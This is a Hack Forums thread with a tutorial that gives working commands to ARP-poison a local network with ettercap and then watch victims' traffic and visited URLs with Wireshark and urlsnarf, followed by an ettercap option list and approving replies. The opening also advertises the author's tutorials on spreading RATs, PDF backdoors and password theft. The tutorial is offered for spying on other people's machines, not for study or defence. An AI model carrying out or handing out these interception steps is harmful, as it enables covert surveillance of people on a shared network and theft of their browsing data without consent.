

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] Monitor Network Activity | Watch URLs visited | DETAILED](#)

SIM-2015410 - March 30, 2014, 10:20 pm

Hello Again HF!

Welcome to another Hacking Tutorial by MeshCollider.

If you are interested, here are links to my other hacking tutorials: Spoiler ([Click to View](#))

Metasploit 1: <https://hackforums.net/showthread.php?tid=4124763>

Metasploit 2: <https://hackforums.net/showthread.php?tid=4124800>

Metasploit 3: <https://hackforums.net/showthread.php?tid=4124838>

Cracking WiFi - WEP: <https://hackforums.net/showthread.php?tid=4126315>

Remote view a webcam/microphone: <https://hackforums.net/showthread.php?tid=4126349>

Cracking WiFi - WPA/WPA2: <https://hackforums.net/showthread.php?tid=4127410>

Hacking/Crashing windows 7 with a shortcut file:

<https://hackforums.net/showthread.php?tid=4127314>

PDF backdoor: <https://hackforums.net/showthread.php?tid=4127426>

DNS Spoof password stealing: <https://hackforums.net/showthread.php?tid=4131834>

Scan for vulnerabilities: <https://hackforums.net/showthread.php?tid=4131870>

Spreading a RAT: <https://hackforums.net/showthread.php?tid=4140318>

This tutorial will demonstrate how to use ettercap, wireshark and URLsnarf to sniff and monitor network activity.

I am using Kali linux which comes with this software pre installed. Backtrack also works. If you want, you can install all the software on any other linux distro of your choice.

1) First, we need to set up our computer ready to begin monitoring. Open a new terminal, and start networking:

Code `/etc/init.d/networking startNow`, we need to enable ip forwarding so that we can route all traffic through our computer:

Code `echo 1 > /proc/sys/net/ipv4/ip_forward` Check that this worked by typing:

Code `cat /proc/sys/net/ipv4/ip_forward` Which should return 1.

2) Poison the network computers. Use this command to ARP poison the computers you want to monitor:

Code `ettercap -M arp /router_ip/ /target_ip_addresses/ -p -T -q -i wlan0` where "-M arp" is the type of attack, "-T" tells ettercap to run in text (command line) mode, "-p" disables promiscuous mode, "-q" is quiet mode (does not output the packets on screen) and "-i wlan0" is the network interface we are using.

Leave the target_ip_addresses blank ("/") to poison the entire network. you can use -P pluginname to use a plugin. autoadd plugin will auto add targets dynamically. We can add the code "-P autoadd" to the end of the above command.

When finished, use ctrl+c to stop the processes running and unpoison the clients ARP cache.

3) Capturing all packets using wireshark:

Open wireshark, and click start capture and select the network adapter to use. we are using wlan0. All packets will start being displayed on your screen. You can use various filters to limit the packets you want to see. The default colour scheme is slightly terrible, so you can change it using "Coloring Rules..." in the view menu.

4) Monitoring visited URLs on the network with URLSnarf:

A great program to use if you just want to view URLs visited is URLSnarf. Open a second terminal, and use this command to display the URLs:

Code `urlsnarf -i wlan0` You will see that the URLs are almost impossible to understand - there will be a flood of really long addresses. We can use this command to crop the addresses to just the part we want to see:

Code `urlsnarf -i wlan0 |cut -d\" -f4` And voila, we can see the URLs actively being loaded into all the computers you have poisoned!

LIST OF ETTERCAP COMMAND LINE ARGUEMENTS: Spoiler [\(Click to View\)](#)

Sniffing and Attack options:

- M, --mitm <METHOD:ARGS> perform a mitm attack
- o, --only-mitm don't sniff, only perform the mitm attack
- B, --bridge <IFACE> use bridged sniff (needs 2 ifaces)
- p, --nopromisc do not put the iface in promisc mode
- u, --unoffensive do not forward packets
- r, --read <file> read data from pcapfile <file>
- f, --pcapfilter <string> set the pcap filter <string>
- R, --reversed use reversed TARGET matching
- t, --proto <proto> sniff only this proto (default is all)

User Interface Type:

- T, --text use text only GUI
- q, --quiet do not display packet contents
- s, --script <CMD> issue these commands to the GUI
- C, --curses use curses GUI
- G, --gtk use GTK+ GUI
- D, --daemon daemonize ettercap (no GUI)

Logging options:

- w, --write <file> write sniffed data to pcapfile <file>
- L, --log <logfile> log all the traffic to this <logfile>
- l, --log-info <logfile> log only passive infos to this <logfile>
- m, --log-msg <logfile> log all the messages to this <logfile>
- c, --compress use gzip compression on log files

Visualization options:

- d, --dns resolves ip addresses into hostnames
- V, --visual <format> set the visualization format
- e, --regex <regex> visualize only packets matching this regex
- E, --ext-headers print extended header for every pck
- Q, --superquiet do not display user and password

General options:

- i, --iface <iface> use this network interface
- I, --iflist show all the network interfaces
- n, --netmask <netmask> force this <netmask> on iface
- P, --plugin <plugin> launch this <plugin>
- F, --filter <file> load the filter <file> (content filter)
- z, --silent do not perform the initial ARP scan
- j, --load-hosts <file> load the hosts list from <file>

-k, --save-hosts <file> save the hosts list to <file>
-W, --wep-key <wkey> use this wep key to decrypt wifi packets
-a, --config <config> use the alternative config file <config>

Standard options:

-U, --update updates the databases from ettercap website
-v, --version prints the version and exit
-h, --help this help screen

Thanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.

Watch out for future hacking tutorials from me - further wireless cracking, metasploit and other common hacking topics! I will soon do a more in depth tutorial on the usage of NMAP and WireShark

Written by MeshCollider ?

Mortem - March 30, 2014, 10:27 pm

The tutorial content is good but please for the love of the Almighty God and his Archangel Micheal... change the color scheme!

Mopex - March 30, 2014, 10:30 pm

Nice tutorial.

I just posted my tutorial:D

Im going to be working on a few soon.

SIM-2015410 - March 30, 2014, 10:51 pm

Thanks for the comment guys. What should I change the colour scheme to?

What is the link to you tutorial, I'll check it out!

Mopex - March 30, 2014, 11:11 pm

(Mar 30, 2014 10:51 PM)m3shc0llid3r Wrote: [\[CITE\]](#) Thanks for the comment guys. What should I change the colour scheme to?

What is the link to you tutorial, I'll check it out!

<https://hackforums.net/showthread.php?tid=4144385>

Thanks. If you could leave some feedback it would be good.

Accoy - March 31, 2014, 2:00 am

ive always wanted to know how to do such a thing! thanks for the help man definite appreciate <3
im pretty sure all the computer on our systems are ratted cause he said he can see everything
were doing XD

SIM-2015410 - April 1, 2014, 10:33 pm

(Mar 31, 2014 02:00 AM)xrsfeed Wrote: [\[CITE\]](#) ive always wanted to know how to do such a thing!
thanks for the help man definite appreciate <3

im pretty sure all the computer on our systems are ratted cause he said he can see everything
were doing XD

Thanks man, glad to hear it's been helpful!